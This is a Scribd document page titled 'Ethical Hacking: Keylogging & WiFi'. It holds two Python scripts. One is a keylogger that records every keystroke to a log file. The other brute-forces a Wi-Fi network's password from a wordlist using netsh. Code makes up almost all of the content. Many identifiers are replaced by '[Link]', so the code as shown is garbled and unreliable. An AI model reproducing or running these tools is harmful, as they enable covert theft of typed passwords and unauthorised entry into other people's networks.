0% found this document useful (0 votes)
8 views1 page

Ethical Hacking: Keylogging & WiFi

The document contains a Python script that logs keyboard inputs to a file named 'keylog.txt' and attempts to connect to a specified Wi-Fi network using passwords from a text file. The script uses the 'pynput' library for keylogging and 'subprocess' to execute Wi-Fi connection commands. It includes functionality to stop logging when the 'esc' key is pressed and prints the result of each password attempt.

Uploaded by

lucky.g7y
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
8 views1 page

Ethical Hacking: Keylogging & WiFi

The document contains a Python script that logs keyboard inputs to a file named 'keylog.txt' and attempts to connect to a specified Wi-Fi network using passwords from a text file. The script uses the 'pynput' library for keylogging and 'subprocess' to execute Wi-Fi connection commands. It includes functionality to stop logging when the 'esc' key is pressed and prints the result of each password attempt.

Uploaded by

lucky.g7y
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

import logging

from pynput import keyboard

[Link](filename="[Link]", level=[Link], format="%


(asctime)s: %(message)s")

def on_press(key):
try:
[Link](f"Key {[Link]} pressed")
except AttributeError:
[Link](f"Special key {key} pressed")

def on_release(key):
if key == [Link]:
return False

with [Link](on_press=on_press, on_release=on_release) as listener:


[Link]()

----------------------------------------wifi
import subprocess

def try_wifi_passwords(wifi_name, password_file):


with open(password_file, "r") as file:
passwords = [Link]()

for password in passwords:


password = [Link]()
print(f"Trying password: {password}")
result = [Link](['netsh', 'wlan', 'connect', f'name={wifi_name}',
f'key={password}'], capture_output=True, text=True)
if "Connection request was completed successfully" in [Link]:
print(f"Success! The password is: {password}")
break
else:
print(f"Failed with password: {password}")

wifi_name = input("Enter the Wi-Fi name: ")


password_file = r"C:\Users\User\Desktop\[Link]" # Verilen dosya yolunu buraya
ekledim

try_wifi_passwords(wifi_name, password_file)

You might also like